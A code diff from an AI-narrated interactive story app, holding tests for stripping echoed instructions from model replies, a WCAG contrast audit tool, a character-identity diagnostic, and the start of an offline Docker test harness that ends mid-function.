+    assert extract.CONTINUE_HINT_PHRASE in CHAT_CONTINUE_HINT
+
+
+def test_an_echoed_continue_hint_alone_at_the_end_leaves():
+    prose, _p, _r = extract.split(
+        f"{STORY}\n\n[Keep going. Continue the story here, directly. Output only story text.]")
+    assert prose == STORY
+
+
+@pytest.mark.parametrize("reply", [
+    # A hint-opened bracket with no echoed instruction below it is in-world.
+    f"{STORY}\n\n[Hard limit: forty days, no extensions]",
+    # Nor does a state block below it make it an instruction.
+    f"{STORY}\n\n[Hard limit: forty days, no extensions]",
+    # The phrase in the middle of a story is prose, not a trailing echo.
+    'She wrote "output only story text" on the card, then crossed it out.\n\nThe rain went on.',
+    # A trailing in-world bracket that only resembles a continuation.
+    f"{STORY}\n\n[To be continued]",
+])
+def test_story_brackets_near_the_corrective_rule_are_kept(reply):
+    prose, _p, _r = extract.split(reply)
+    assert prose == reply
+
+
+def test_a_hint_opened_bracket_above_a_state_block_is_kept():
+    reply = (f"{STORY}\n\n[Hard limit: forty days, no extensions]\n\n"
+             '```state\n{"events": []}\n```')
+    prose, parsed, _r = extract.split(reply)
+    assert prose == f"{STORY}\n\n[Hard limit: forty days, no extensions]"
+    assert parsed == {"events": []}
+
+
+def test_an_in_world_bracket_above_an_echoed_hint_is_kept():
+    """Only a bracket opening the way the application's hint opens is taken with
+    the echo. Any other bracket above it is the story's."""
+    reply = (f"{STORY}\n\n[The sign on the door reads: Closed]\n\n"
+             "[Continue the story here, directly. Output only story text.]")
+    prose, _p, _r = extract.split(reply)
+    assert prose == f"{STORY}\n\n[The sign on the door reads: Closed]"
+
+
+@pytest.mark.parametrize("line, rule", [
+    ("[Hard limit: this is now 180 words.]", extract.RULE_INSTRUCTION_TAIL),
+    ("[Reminder: end your reply with a `state` block listing the events.]",
+     extract.RULE_INSTRUCTION_TAIL),
+    ("[You don't need to continue. Output only story text.]", extract.RULE_INSTRUCTION_TAIL),
+])
+def test_the_corrective_rule_is_attributed(line, rule):
+    assert extract.explain_removed_line(line) == rule
+
+
+def test_the_new_rules_do_not_disturb_the_section_headings_they_share_a_module_with():
+    """The renderer's headings are the M11 rules' anchor. A2 adds none."""
+    assert render.HEADING_SCENE == "Scene:"
+    assert "Scene:" not in render.SECTION_HEADINGS

backend/tools/contrast_audit.py

@@ -0,0 +1,139 @@
+"""WCAG contrast for the design tokens, computed rather than eyeballed.
+
+    python -m tools.contrast_audit
+
+M8 recorded contrast and visible focus as "checked by eye" and handed the
+measurement to M11. There are two halves to doing that properly, and this is the
+cheap half: the palette itself, checked as pairs, with no browser and no
+dependency. The other half — the colours that actually reach the screen after
+inheritance, opacity and layering — is measured on the rendered page by
+`tools/m11_browser.py`, because a token pair says nothing about what a specific
+element ended up with.
+
+Thresholds are WCAG 2.1 AA: 4.5:1 for body text, 3:1 for large text (>=24px, or
+>=18.66px bold) and for the non-text parts of a control's boundary.
+"""
+
+from __future__ import annotations
+
+import re
+import sys
+from pathlib import Path
+
+TOKENS = Path(__file__).resolve().parent.parent.parent / "frontend/src/styles/tokens.css"
+
+#: Foreground/background pairs the design actually puts together. Written out
+#: rather than combinatorial, because "every colour against every other" reports
+#: pairs that never meet on screen.
+#:
+#: The `kind` records which success criterion a pair is measured against —
+#: **text** is WCAG 1.4.3 Contrast (Minimum), **boundary** is WCAG 1.4.11
+#: Non-text Contrast — and **both are pass/fail**.
+#:
+#: v1.1 WP-E overturned the earlier position here, which was that a boundary
+#: below 3:1 could be recorded rather than failed because "a control is
+#: identified by its label, not by its edge". That argument understates what
+#: 1.4.11 asks: the criterion covers the visual information needed to identify
+#: a component *and its boundary*, and a reader who cannot see where a text box
+#: ends cannot see that there is a text box to type into, label or no label.
+#: The edges were at 1.33:1 and 1.75:1 — the tokens were raised instead.
+#:
+#: Borders are measured against **every background they are drawn on**, and the
+#: floor is the worst of them. Inputs and buttons sit on --bg-input, which is
+#: lighter than --bg-panel and so the harder case; checking only --bg-panel
+#: would have let a token pass the audit while the real control failed.
+#: `--bg-panel-glass` is translucent and cannot be resolved from tokens alone;
+#: that edge is measured on the rendered page by `tools/m11_browser.py`.
+PAIRS = [
+    ("text", "--text", "--bg", 4.5, "body text on the page"),
+    ("text", "--text", "--bg-panel", 4.5, "body text in a panel"),
+    ("text", "--text", "--bg-input", 4.5, "text typed into a field"),
+    ("text", "--text-dim", "--bg", 4.5, "secondary text on the page"),
+    ("text", "--text-dim", "--bg-panel", 4.5, "secondary text in a panel"),
+    ("text", "--text-dim", "--bg-panel", 4.5, "a control's own label"),
+    ("text", "--accent", "--bg", 4.5, "accent text on the page"),
+    ("text", "--accent", "--bg-panel", 4.5, "accent text in a panel"),
+    ("text", "--danger", "--bg-panel", 4.5, "an error message"),
+    ("text", "--warning", "--bg-panel", 4.5, "a caution message"),
+    ("text", "--player", "--bg", 4.5, "the player's own words"),
+    ("boundary", "--border", "--bg-input", 3.0, "a field or button's resting edge"),
+    ("boundary", "--border-bright", "--bg-input", 3.0, "a field or button's hover edge"),
+    ("boundary", "--border", "--bg-panel", 3.0, "a control's resting edge in a panel"),
+    ("boundary", "--border-bright", "--bg-panel", 3.0, "a control's hover edge in a panel"),
+    ("boundary", "--border", "--bg", 3.0, "a divider on the page"),
+    ("boundary", "--border-bright", "--bg", 3.0, "the scrollbar thumb"),
+    ("boundary", "--accent-dim", "--bg-input", 3.0, "a focused field's edge"),
+    ("boundary", "--accent-dim", "--bg-panel", 3.0, "a focused control's edge in a panel"),
+    ("boundary", "--chart-1", "--bg-panel", 3.0, "a chart bar"),
+    ("boundary", "--chart-2", "--bg-panel", 3.0, "a chart bar"),
+    ("boundary", "--chart-3", "--bg-panel", 3.0, "a chart bar"),
+]
+
+
+def read_tokens(path: Path) -> dict[str, str]:
+    found = {}
+    for name, value in re.findall(r"(--[\w-]+):\s*(#[0-9a-fA-F]{6})\s*;", path.read_text()):
+        found[name] = value
+    return found
+
+
+def luminance(hex_colour: str) -> float:
+    r, g, b = (int(hex_colour[i:i + 2], 16) / 255 for i in (1, 3, 5))
+
+    def channel(value: float) -> float:
+        return value / 12.92 if value <= 0.03928 else ((value + 0.055) / 1.055) ** 2.4
+
+    r, g, b = channel(r), channel(g), channel(b)
+    return 0.2126 * r + 0.7152 * g + 0.0722 * b
+
+
+def ratio(a: str, b: str) -> float:
+    la, lb = luminance(a), luminance(b)
+    high, low = max(la, lb), min(la, lb)
+    return (high + 0.05) / (low + 0.05)
+
+
+def main() -> int:
+    tokens = read_tokens(TOKENS)
+    # Named defensively: the tests run this against a temporary tokens file,
+    # which need not sit four directories deep the way the real one does.
+    label = TOKENS.name
+    if len(TOKENS.parents) > 3:
+        label = TOKENS.relative_to(TOKENS.parents[3])
+    print(f"{label}: {len(tokens)} colour tokens\n")
+    print(f"{'pair':44} {'kind':9} {'ratio':>7} {'floor':>6}  verdict")
+    print("-" * 82)
+    text_failures, boundary_failures = 0, 0
+    for kind, foreground, background, floor, description in PAIRS:
+        if foreground not in tokens or background not in tokens:
+            print(f"{description:44} {kind:9} {'—':>7} {floor:>6.1f}  MISSING TOKEN")
+            text_failures += 1
+            continue
+        measured = ratio(tokens[foreground], tokens[background])
+        # Rounded to the two decimals printed, so the verdict matches what the
+        # reader is shown: a pair reported as 3.00:1 is not failed for arithmetic
+        # the output does not display.
+        if round(measured, 2) >= floor:
+            verdict = "pass"
+        else:
+            verdict = "FAIL"
+            if kind == "text":
+                text_failures += 1
+            else:
+                boundary_failures += 1
+        print(f"{description:44} {kind:9} {measured:>6.2f}:1 {floor:>6.1f}  {verdict}")
+    print()
+    if text_failures:
+        print(f"{text_failures} text pair(s) below WCAG AA (1.4.3) — this is a defect")
+    else:
+        print("every text pair clears WCAG AA (1.4.3)")
+    if boundary_failures:
+        print(f"{boundary_failures} boundary pair(s) below 3:1 (WCAG 1.4.11) — "
+              "this is a defect")
+    else:
+        print("every control boundary clears 3:1 (1.4.11)")
+    return 1 if (text_failures or boundary_failures) else 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

backend/tools/m11_identity.py

@@ -0,0 +1,395 @@
+"""M11: the multi-character identity diagnostic (post-M8 finding D).
+
+    python -m tools.m11_identity            # against a real model
+    python -m tools.m11_identity --scripted # harness self-test, no model
+
+Run from `backend/`. Reads `AIDND_TEST_ENDPOINT` and `AIDND_TEST_MODEL`.
+
+## What this is for
+
+A hands-on session against accepted M8 put four people in one scene — a
+protagonist and three others — and later narration treated one of them as two
+different people. The campaign was a disposable database and was destroyed, so
+**the root cause was never established and cannot be**. What M11 owes the
+finding is not a fix for an unknown defect; it is a diagnostic that can tell the
+candidate causes apart the *next* time, and evidence about whether the product
+does the things it can be blamed for.
+
+`BUILD-MILESTONES.md` names four candidate causes and asks for a classification:
+
+    STATE DEFECT                        the state itself is wrong or ambiguous
+    CONTEXT ASSEMBLY DEFECT             the state is right, the prompt is not
+    DERIVED MEMORY-SUMMARY DEFECT       a summary or memory carried the error in
+    MODEL FAILURE WITH CORRECT CONTEXT  the prompt was right and the model was not
+    AMBIGUOUS                           the evidence does not separate them
+
+## How it decides
+
+The objective checks are the ones a program can make honestly, and they are
+made against the **stored prompt snapshot** and the **authoritative state**,
+before and after every turn:
+
+    duplicate entity keys           the state model refuses these; a breach is a
+                                    STATE DEFECT
+    shared display names            permitted by design, reported by
+                                    `narrative.model.duplicate_names`; a new one
+                                    appearing mid-scene is a STATE DEFECT for
+                                    this scene's purposes
+    protagonist drift               the persona's entity key changing, or the
+                                    protagonist disappearing from `present`
+    state/context disagreement      a name in the prompt's state block that the
+                                    document does not have, or vice versa
+    derived contamination           the same name appearing under two keys inside
+                                    a summary or memory that reached the prompt
+
+Prose-level judgements — did the narrator misattribute this line of dialogue,
+did it have a character refer to itself as someone else — are **not** graded
+automatically. A regex cannot read dialogue, and a diagnostic that pretended to
+would produce exactly the confident wrong answer this finding is about. Every
+turn's narration is written out for a person to read, next to the prompt that
+produced it, and the tool's verdict says plainly when the objective checks are
+clean and the question is therefore about the prose.
+
+## What it preserves
+
+On any signal, everything the finding lists is written to the run directory:
+the pre-turn state, the exact stored prompt snapshot, the narration, the
+history, summaries, memories, imported knowledge and the model settings. The
+campaign is also exported as an M9 bundle, so the whole failing case is
+portable and can be replayed on another machine.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import sys
+import tempfile
+from datetime import datetime
+from pathlib import Path
+
+_HERE = Path(__file__).resolve().parent
+sys.path.insert(0, str(_HERE.parent / "tests"))
+
+_DB = tempfile.NamedTemporaryFile(suffix="-m11-identity.db", delete=False)
+_DB.close()
+os.environ["AIDND_DB_PATH"] = _DB.name
+os.environ.pop("AIDND_DATABASE_URL", None)
+os.environ.pop("DATABASE_URL", None)
+
+from fastapi import Depends  # noqa: E402
+from fastapi.testclient import TestClient  # noqa: E402
+from sqlalchemy.orm import undefer  # noqa: E402
+
+from app import auth, limits, memorybank, models  # noqa: E402
+from app.database import Base, SessionLocal, engine, get_db  # noqa: E402
+from app.main import app  # noqa: E402
+from app.narrative import model as nmodel  # noqa: E402
+from app.routers import adventures  # noqa: E402
+
+ENDPOINT = os.environ.get("AIDND_TEST_ENDPOINT", "")
+MODEL = os.environ.get("AIDND_TEST_MODEL", "")
+
+#: The cast the finding describes: a protagonist and three others, all on stage.
+CAST = [
+    ("bill", "character", "Bill"),
+    ("alice", "character", "Alice"),
+    ("roger", "character", "Roger"),
+    ("john", "character", "John"),
+    ("office", "location", "The meeting room"),
+]
+PROTAGONIST = "bill"
+
+#: The sequence, built to stress exactly what the finding names. Each entry is
+#: (what the reader writes, what it is meant to stress).
+BEATS = [
+    ("Alice asks Roger what he thinks of the proposal.",
+     "dialogue attribution between two non-protagonists"),
+    ("I ask her to say that again.",
+     "pronoun reference to the last speaker"),
+    ("John comes in and sits down without saying anything.",
+     "entrance mid-scene"),
+    ("I ask the newcomer what he wants.",
+     "reference by role rather than by name"),
+    ("Alice tells John what Roger just said.",
+     "one character speaking about another"),
+    ("Roger leaves the room.",
+     "exit mid-scene"),
+    ("I ask Alice whether she agrees with the man who just left.",
+     "reference to an absent character by role"),
+    ("Alice and John talk about me as if I were not here.",
+     "the protagonist referred to in the third person"),
+    ("I remind them all who called this meeting.",
+     "protagonist self-reference"),
+    ("Alice says one last thing to Roger.",
+     "reference to an absent character by name"),
+]
+
+
+def _setup(scripted: bool):
+    if scripted:
+        from fakes import ScriptedProvider
+        adventures.turns.OpenAICompatibleProvider = ScriptedProvider
+    limits.check_row_cap = lambda *a, **k: None
+    Base.metadata.create_all(bind=engine)
+    with SessionLocal() as db:
+        user = models.User(is_guest=False, email="identity@example.com")
+        db.add(user)
+        db.flush()
+        db.add(models.Settings(
+            user_id=user.id,
+            model=MODEL or "scripted", endpoint_url=ENDPOINT or "http://127.0.0.1:11434/v1",
+            embedding_model="", context_token_budget=16384, max_output_tokens=500,
+            model_timeout_seconds=300,
+        ))
+        db.commit()
+        user_id = user.id
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    return TestClient(app)
+
+
+def _campaign(client) -> int:
+    created = client.post("/api/adventures", json={
+        "title": "Multi-Character Identity Test",
+        "opening": (
+            "A Tuesday morning meeting. Bill has called it. Alice and Roger are "
+            "already at the table; John has not arrived yet."
+        ),
+        "canon_rules": [
+            "Bill, Alice, Roger and John are four different people.",
+            "Bill is the protagonist and the one the reader plays.",
+        ],
+        "persona_name": "Bill",
+        "narration_length": "brief",
+    })
+    created.raise_for_status()
+    adv = created.json()["id"]
+    answer = client.post(f"/api/adventures/{adv}/state/corrections", json={
+        "events": [
+            {"type": "create_entity", "entity": key, "entity_type": kind, "name": name}
+            for key, kind, name in CAST
+        ] + [
+            {"type": "set_scene",
+             "summary": "Bill, Alice and Roger at the table; John not yet arrived.",
+             "location": "office", "present": ["bill", "alice", "roger"]},
+        ],
+        "note": "the cast, before anything is narrated",
+    })
+    answer.raise_for_status()
+    # The first run of this diagnostic set a scene whose location entity did not
+    # exist. The event was correctly refused and — before M11 fixed it — the 201
+    # said nothing, so the whole run happened with an empty scene and no list of
+    # who was in the room. That is a fixture defect that would have been read as
+    # a model failure, which is exactly what this diagnostic exists not to do.
+    refused = answer.json().get("refused") or []
+    if refused:
+        raise SystemExit(f"the fixture itself was refused: {refused}")
+    scene = client.get(f"/api/adventures/{adv}/state").json()["document"].get("scene")
+    if not (scene or {}).get("present"):
+        raise SystemExit("the fixture did not establish a scene; the run would be void")
+    return adv
+
+
+def _state(adv: int) -> dict:
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, adv)
+        from app import narrative
+        return narrative.store.current(adventure)
+
+
+def _last_ai(adv: int):
+    with SessionLocal() as db:
+        return (
+            db.query(models.Action)
+            .filter(models.Action.adventure_id == adv, models.Action.type == "ai")
+            .options(undefer(models.Action.context_snapshot))
+            .order_by(models.Action.id.desc()).first()
+        )
+
+
+def _signals(before: dict, after: dict, snapshot: dict, narration: str) -> list[dict]:
+    """Every objective thing that is wrong, as a list. Empty means clean."""
+    found: list[dict] = []
+
+    entities = (after.get("entities") or {})
+    # 1. Duplicate keys are structurally impossible; a breach is a state defect.
+    if len(entities) != len({k.lower() for k in entities}):
+        found.append({"kind": "duplicate_entity_key",
+                      "class": "STATE DEFECT",
+                      "detail": sorted(entities)})
+
+    # 2. A shared display name appearing that was not there before.
+    was = nmodel.duplicate_names(before)
+    now = nmodel.duplicate_names(after)
+    new_clashes = {n: keys for n, keys in now.items() if n not in was}
+    if new_clashes:
+        found.append({"kind": "shared_display_name",
+                      "class": "STATE DEFECT",
+                      "detail": new_clashes})
+
+    # 3. A new character invented mid-scene with a name the cast already has.
+    known = {k for k, _, _ in CAST}
+    invented = {
+        key: value.get("name") for key, value in entities.items()
+        if key not in known and value.get("type") == "character"
+    }
+    cast_names = {name.lower() for _, _, name in CAST}
+    shadowing = {k: n for k, n in invented.items()
+                 if str(n or "").strip().lower() in cast_names}
+    if shadowing:
+        found.append({"kind": "duplicate_character_creation",
+                      "class": "STATE DEFECT",
+                      "detail": shadowing})
+
+    # 4. Protagonist drift: the persona's entity gone, or dropped from the scene
+    #    while the narration still speaks in second person.
+    scene = after.get("scene") or {}
+    present = scene.get("present") or []
+    if PROTAGONIST not in entities:
+        found.append({"kind": "protagonist_missing",
+                      "class": "STATE DEFECT", "detail": PROTAGONIST})
+    elif present and PROTAGONIST not in present and " you " in f" {narration.lower()} ":
+        found.append({"kind": "protagonist_dropped_from_scene",
+                      "class": "STATE DEFECT", "detail": present})
+
+    # 5. State/context disagreement: a name the prompt's state section shows that
+    #    the document does not have.
+    sections = {s["label"]: s["text"] for s in (snapshot.get("sections") or [])}
+    state_text = sections.get("narrative_state", "") or sections.get("world_state", "")
+    document_names = {str(v.get("name") or "").strip()
+                      for v in entities.values() if v.get("name")}
+    for _, _, name in CAST:
+        in_prompt = name in state_text
+        in_document = name in document_names
+        if in_prompt != in_document:
+            found.append({"kind": "state_context_disagreement",
+                          "class": "CONTEXT ASSEMBLY DEFECT",
+                          "detail": {"name": name, "in_prompt": in_prompt,
+                                     "in_document": in_document}})
+
+    # 6. Derived contamination: a summary or memory in the prompt that names one
+    #    cast member as two people.
+    derived_text = " ".join(
+        sections.get(label, "") for label in ("story_summary", "memories")
+    )
+    for _, _, name in CAST:
+        if derived_text.count(f"{name} and {name}") or derived_text.count(
+                f"the other {name}"):
+            found.append({"kind": "derived_identity_contamination",
+                          "class": "DERIVED MEMORY-SUMMARY DEFECT",
+                          "detail": name})
+    return found
+
+
+def _preserve(root: Path, client, adv: int, index: int, payload: dict) -> Path:
+    """Everything the finding says to keep, for one turn."""
+    directory = root / f"turn-{index:02d}"
+    directory.mkdir(parents=True, exist_ok=True)
+    (directory / "evidence.json").write_text(json.dumps(payload, indent=2, default=str))
+    for name, url in (
+        ("state.json", f"/api/adventures/{adv}/state"),
+        ("context.json", f"/api/adventures/{adv}/context"),
+        ("memories.json", f"/api/adventures/{adv}/memories"),
+        ("knowledge.json", f"/api/adventures/{adv}/knowledge"),
+        ("settings.json", "/api/settings"),
+        ("bundle.json", f"/api/adventures/{adv}/export"),
+    ):
+        response = client.get(url)
+        if response.status_code == 200:
+            (directory / name).write_text(json.dumps(response.json(), indent=2))
+    return directory
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--scripted", action="store_true",
+                        help="run the harness against a scripted narrator")
+    parser.add_argument("--inject", action="store_true",
+                        help=("scripted mode only: have the narrator commit the "
+                              "exact confusion the finding describes, to prove "
+                              "the detectors fire. A diagnostic that has only "
+                              "ever returned 'clean' has not been tested."))
+    parser.add_argument("--out", default="",
+                        help="where to preserve evidence (default: a temp dir)")
+    args = parser.parse_args()
+
+    if not args.scripted and not (ENDPOINT and MODEL):
+        print("set AIDND_TEST_ENDPOINT and AIDND_TEST_MODEL, or pass --scripted")
+        return 2
+
+    root = Path(args.out or tempfile.mkdtemp(prefix="m11-identity-"))
+    root.mkdir(parents=True, exist_ok=True)
+    client = _setup(args.scripted)
+    adv = _campaign(client)
+
+    print(f"\nMulti-Character Identity Test — {'scripted' if args.scripted else MODEL}")
+    print(f"evidence: {root}\n")
+    print(f"{'#':>3}  {'stresses':40} {'signals':>7}  narration")
+    print("-" * 100)
+
+    all_signals: list[dict] = []
+    for index, (text, stresses) in enumerate(BEATS, start=1):
+        before = _state(adv)
+        if args.scripted:
+            from fakes import ScriptedProvider, state_block
+            events = []
+            if args.inject and index == 5:
+                # The finding's own failure mode: a second Alice, created
+                # because the narrator lost track of the first one.
+                events = [{"type": "create_entity", "entity": "alice_2",
+                           "entity_type": "character", "name": "Alice"}]
+            ScriptedProvider.replies = [
+                f"Alice answers, and Roger nods.\n{state_block(events)}"
+            ]
+        response = client.post(f"/api/adventures/{adv}/actions",
+                               json={"type": "do", "text": text})
+        if response.status_code != 200:
+            print(f"{index:>3}  {stresses:40} {'ERROR':>7}  {response.text[:60]}")
+            continue
+        action = _last_ai(adv)
+        narration = action.text if action else ""
+        snapshot = action.context_snapshot if action else {}
+        after = _state(adv)
+        signals = _signals(before, after, snapshot, narration)
+        all_signals += [dict(s, turn=index) for s in signals]
+
+        first_line = " ".join(narration.split())[:56]
+        print(f"{index:>3}  {stresses:40} {len(signals):>7}  {first_line}")
+        if signals:
+            where = _preserve(root, client, adv, index, {
+                "beat": text, "stresses": stresses, "signals": signals,
+                "state_before": before, "state_after": after,
+                "narration": narration, "prompt_snapshot": snapshot,
+            })
+            for signal in signals:
+                print(f"       -> {signal['class']}: {signal['kind']} {signal['detail']}")
+            print(f"       -> preserved in {where}")
+
+    # Always preserve the final campaign, signals or not: a clean run is
+    # evidence too, and the bundle makes it replayable.
+    _preserve(root, client, adv, 99, {"note": "final state", "signals": all_signals})
+
+    print("\n" + "=" * 100)
+    classes = sorted({s["class"] for s in all_signals})
+    if not all_signals:
+        print("VERDICT: no objective identity defect detected.")
+        print("  The state kept four distinct people, no name was shared, the")
+        print("  protagonist did not drift, the prompt agreed with the document,")
+        print("  and no summary or memory carried a confusion into the prompt.")
+        print("  Whether the *prose* misattributed anything is a question for a")
+        print("  person reading the narration beside its prompt — both are in")
+        print(f"  {root}. If the prose is wrong and these checks are clean, the")
+        print("  classification is MODEL FAILURE WITH CORRECT CONTEXT.")
+    else:
+        print(f"VERDICT: {len(all_signals)} signal(s): {', '.join(classes)}")
+        for signal in all_signals:
+            print(f"  turn {signal['turn']:>2}  {signal['class']:34} {signal['kind']}")
+    print("=" * 100)
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

backend/tools/m11_offline.py

@@ -0,0 +1,309 @@
+"""M11 §18 and §24: a container with no network, and the packaging path.
+
+    python -m tools.m11_offline --out <dir> [--no-build]
+
+Run from `backend/`. Needs Docker.
+
+## Why a container rather than a namespace
+
+§18 asks for a true offline run: fresh data, **no route to the public Internet**,
+no external DNS. The obvious tool is an unprivileged network namespace, and on
+this machine that is refused — Ubuntu 24.04 sets
+`kernel.apparmor_restrict_unprivileged_userns=1`, so `unshare -rn` cannot map a
+uid. `docker run --network none` gives the same isolation and more: the
+container has a loopback interface and nothing else, no resolver, no route, and
+a fresh volume. It also happens to be the packaging path §24 wants exercised, so
+one run answers both.
+
+The exercise runs *inside* the container over `docker exec`, because with no
+network there is no published port to reach from the host. That is not a
+workaround; it is the only honest way to drive an isolated process.
+
+## What an offline run can and cannot prove here
+
+Everything that does not need a model: first page load, the SPA's own assets,
+campaign creation, a story turn's *attempt*, knowledge import and retrieval,
+export, import into a fresh campaign, restart, and the M10 media module
+importing and staying inert.
+
+Inference is **not** exercised offline, and the report says so rather than
+implying otherwise. This deployment's Ollama is on another machine on the
+trusted LAN, which `SECURITY-THREAT-MODEL.md` §73 permits and which is not an
+Internet dependency — but it is also not reachable from a container with no
+network. What the offline run proves about inference is the useful half: with no
+model reachable, the application degrades to a reported error and the campaign
+stays intact.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import subprocess
+import sys
+import time
+from datetime import datetime
+from pathlib import Path
+
+HERE = Path(__file__).resolve().parent
+ROOT = HERE.parent.parent
+IMAGE = "interactive-story:m11-offline"
+NAME = "m11-offline"
+
+#: The script that runs inside the container. Written to a file and copied in,
+#: so it is readable evidence rather than a wall of `-c` quoting.
+INSIDE = r'''
+import json, os, socket, sys, time, urllib.error, urllib.request
+
+BASE = "http://127.0.0.1:8000"
+results = []
+
+def check(name, ok, detail=""):
+    results.append({"check": name, "result": "PASS" if ok else "FAIL",
+                    "detail": str(detail)[:300]})
+
+def api(method, path, payload=None, timeout=60):
+    data = json.dumps(payload).encode() if payload is not None else None
+    req = urllib.request.Request(BASE + "/api" + path, data=data, method=method,
+                                 headers={"Content-Type": "application/json"} if data else {})
+    with urllib.request.urlopen(req, timeout=timeout) as r:
+        body = r.read().decode()
+    return json.loads(body) if body else None
+
+# --- 1. There is genuinely no way out. ---
+try:
+    socket.setdefaulttimeout(5)
+    socket.create_connection(("1.1.1.1", 443), timeout=5)
+    check("no route to the public Internet", False, "a connection succeeded")
+except OSError as exc:
+    check("no route to the public Internet", True, type(exc).__name__)
+try:
+    socket.getaddrinfo("example.com", 443)
+    check("no external DNS", False, "resolution succeeded")
+except OSError as exc:
+    check("no external DNS", True, type(exc).__name__)
+
+# --- 2. First page load, from a fresh data directory. ---
+with urllib.request.urlopen(BASE + "/", timeout=30) as r:
+    page = r.read().decode()
+    csp = r.headers.get("Content-Security-Policy", "")
+check("the first page load succeeds offline", "<div id=\"root\">" in page)
+check("the page names no remote origin",
+      "http://" not in page.replace('http://www.w3.org', '') and "https://" not in page)
+check("a CSP is served", bool(csp), csp[:120])
+
+# --- 3. Every asset the page asks for is local, and resolves. ---
+import re
+assets = re.findall(r'(?:src|href)="([^"]+)"', page)
+missing = []
+for href in assets:
+    if href.startswith("http"):
+        missing.append("REMOTE:" + href); continue
+    try:
+        with urllib.request.urlopen(BASE + href, timeout=30) as r:
+            r.read(64)
+    except Exception as exc:
+        missing.append(f"{href}:{type(exc).__name__}")
+check("every asset the shell references is served locally", not missing, missing)
+
+# --- 4. A campaign, offline. ---
+adv = api("POST", "/adventures", {"title": "Offline", "opening": "Rain.",
+                                  "canon_rules": ["The dead do not return."],
+                                  "persona_name": "Aldric"})["id"]
+check("a campaign can be created offline", isinstance(adv, int))
+
+api("POST", f"/adventures/{adv}/state/corrections", {"events": [
+    {"type": "create_entity", "entity": "aldric", "entity_type": "character",
+     "name": "Aldric"},
+    {"type": "set_scene", "summary": "Aldric by the fire.", "location": "tavern",
+     "present": ["aldric"]}], "note": ""})
+state = api("GET", f"/adventures/{adv}/state")["document"]
+check("state extraction works offline", state["entities"]["aldric"]["name"] == "Aldric")
+
+# --- 5. Knowledge import and retrieval, offline. ---
+boundary = "----m11offline"
+body = (
+    f"--{boundary}\r\nContent-Disposition: form-data; name=\"classification\"\r\n\r\ncanon\r\n"
+    f"--{boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"canon.md\"\r\n"
+    f"Content-Type: text/markdown\r\n\r\n# Westhaven\n\nThe crypt is sealed.\r\n"
+    f"--{boundary}--\r\n").encode()
+req = urllib.request.Request(BASE + f"/api/adventures/{adv}/knowledge", data=body,
+                             method="POST",
+                             headers={"Content-Type": f"multipart/form-data; boundary={boundary}"})
+with urllib.request.urlopen(req, timeout=60) as r:
+    source = json.loads(r.read().decode())
+check("a local file imports offline", source["id"] > 0)
+report = api("GET", f"/adventures/{adv}/context")
+check("the prompt assembles offline", report["tokens"]["total"] > 0)
+check("imported knowledge is searchable offline",
+      any("crypt" in u["text"].lower() for u in report["knowledge"]["used"])
+      or report["knowledge"]["considered"] is not None)
+
+# --- 6. A turn with no model reachable: reported, and nothing corrupted. ---
+page_before = api("GET", f"/adventures/{adv}/actions?limit=50")
+before = page_before["total"]
+ai_before = [a["id"] for a in page_before["actions"] if a["type"] == "ai"]
+events = []
+req = urllib.request.Request(BASE + f"/api/adventures/{adv}/actions",
+                             data=json.dumps({"type": "do", "text": "I look around."}).encode(),
+                             method="POST", headers={"Content-Type": "application/json"})
+try:
+    with urllib.request.urlopen(req, timeout=120) as r:
+        for raw in r:
+            line = raw.decode(errors="replace").strip()
+            if line.startswith("data:"):
+                try: events.append(json.loads(line[5:].strip()))
+                except Exception: pass
+except Exception as exc:
+    events.append({"type": "error", "detail": f"{type(exc).__name__}"})
+errors = [e for e in events if e.get("type") == "error"]
+page_after = api("GET", f"/adventures/{adv}/actions?limit=50")
+ai_after = [a["id"] for a in page_after["actions"] if a["type"] == "ai"]
+check("a turn with no model reachable is reported as a failure", bool(errors),
+      json.dumps(events)[:200])
+# L01, stated the way the product states it. A05 deliberately *keeps* the
+# player's submitted text so it can be tried again, and the head sits on it —
+# so the total action count is expected to rise by one. What must not happen is
+# an accepted narration, or state moving for a turn that did not occur. The
+# first version of this check compared totals and called the retained input a
+# corruption, which is a harness defect of exactly the kind that would have hidden
+# a real one.
+check("no narration was accepted", ai_after == ai_before,
+      f"{len(ai_before)} -> {len(ai_after)}")
+check("the player's own words were kept, as A05 intends",
+      page_after["total"] == before + 1, f"{before} -> {page_after['total']}")
+check("and the state is unchanged by it",
+      api("GET", f"/adventures/{adv}/state")["document"] == state)
+check("and the earlier story is still there",
+      all(a["id"] in [x["id"] for x in page_after["actions"]]
+          for a in page_before["actions"]))
+
+# --- 7. Export and import, offline. ---
+bundle = api("GET", f"/adventures/{adv}/export")
+check("a campaign exports offline", bundle["format"].startswith("ai-dnd-adventure"))
+copy_id = api("POST", "/adventures/import", bundle)["id"]
+copy_state = api("GET", f"/adventures/{copy_id}/state")["document"]
+check("and imports offline, with its state", copy_state["entities"]["aldric"]["name"] == "Aldric")
+check("no secret is present in the export",
+      not any(k in json.dumps(bundle).lower() for k in ("api_key", "apikey", "secret.key")))
+
+# --- 8. The M10 media layer imports and stays inert. ---
+sys.path.insert(0, "/app/backend")
+from app.media import packet, profiles, providers  # noqa: E402
+check("the media module imports offline", providers.registered() == {})
+packet_out = api("GET", f"/adventures/{adv}/scene-packet")
+check("a scene packet builds offline", packet_out["scene_id"].startswith("c"))
+check("no media provider is required", providers.registered() == {})
+
+print("M11-OFFLINE-RESULTS " + json.dumps(results))
+'''
+
+
+def run(*args, **kwargs):
+    return subprocess.run(args, capture_output=True, text=True, **kwargs)
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--out", required=True)
+    parser.add_argument("--no-build", action="store_true")
+    args = parser.parse_args()
+    out = Path(args.out)
+    out.mkdir(parents=True, exist_ok=True)
+    started = datetime.now()
+
+    if not args.no_build:
+        print("building the image with --no-cache …")
+        build = run("docker", "build", "--no-cache", "-t", IMAGE, ".", cwd=str(ROOT))
